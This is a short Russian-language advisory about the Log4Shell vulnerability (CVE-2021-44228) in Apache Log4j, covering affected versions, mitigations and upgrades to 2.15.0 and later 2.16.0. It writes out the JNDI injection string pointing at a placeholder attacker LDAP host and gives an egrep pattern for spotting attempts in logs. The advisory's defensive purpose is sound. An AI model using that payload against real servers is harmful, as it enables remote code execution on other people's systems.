Опубликована критическая уязвимость CVE-2021-44228 в библиотеке Log4j языка Java. Библиотека разрабатывается с 2001 года в Арасhe Software Foundation и представляет собой фреймворк ведения логов.
Уязвимость является крайне опасной ввиду следующих причин:
- Чрезвычайно широкое распростронение библиотеки в экосистеме Java
- Крайне простой эксплойт
- Возможность выполнения злоумышленником произвольной команды на сервере
- Возможность написания злоумышленником автоматических сканеров уязвимости в доступных из Интернет сервисах (тактика «spray and pray»)
Уязвимость работает путем передачи для записи в лог строки вида "${jndi:ldap://hackerownserver.com/resource}"
, при этом злоумышленник держит на hackerownserver.com сервер LDAP, специально настроенный для проведения атак вида «JNDI Injection», например JNDIExploit.
Помимо схемы jndi:ldap:
возможно использование jndi:rmi:
и jndi:dns:
Как бороться
Уязвимыми следует считать Log4j версии 2.x. Версии 1.x уязвимы только при явном использовании JMSAppender
.
Проверить журнал приложения на предмет предпринятых атак можно при помощи egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'
Для устранения уязвимости необходимо как можно скорее обновить Log4j до версии 2.15.0. Кроме того, если обновление невозможно в силу тех или иных причин, то обезопасить приложение можно путем установки системной переменной Java log4j2.formatMsgNoLookups
в значение true
(для Log4j 2.10+), или путем удаления класса JndiLookup
из classpath.
Update Dec 15: Описанные выше меры в ряде случаев не полностью закрывают уязвимость. Рекомендуется обновляться сразу до версии 2.16.0.
>>> Официальная страница Log4j
>>> Log4j RCE Exploitation Detection
>>> JNDIExploit
>>> Как работает JNDI Injection
По отдельным проектам
-
Jenkins Сам не подвержен, плагины возможно.
-
ElasticSearch Уязвимость есть, но не может быть использована, поскольку используется Java Security Manager.
>>> CVE-2021-44228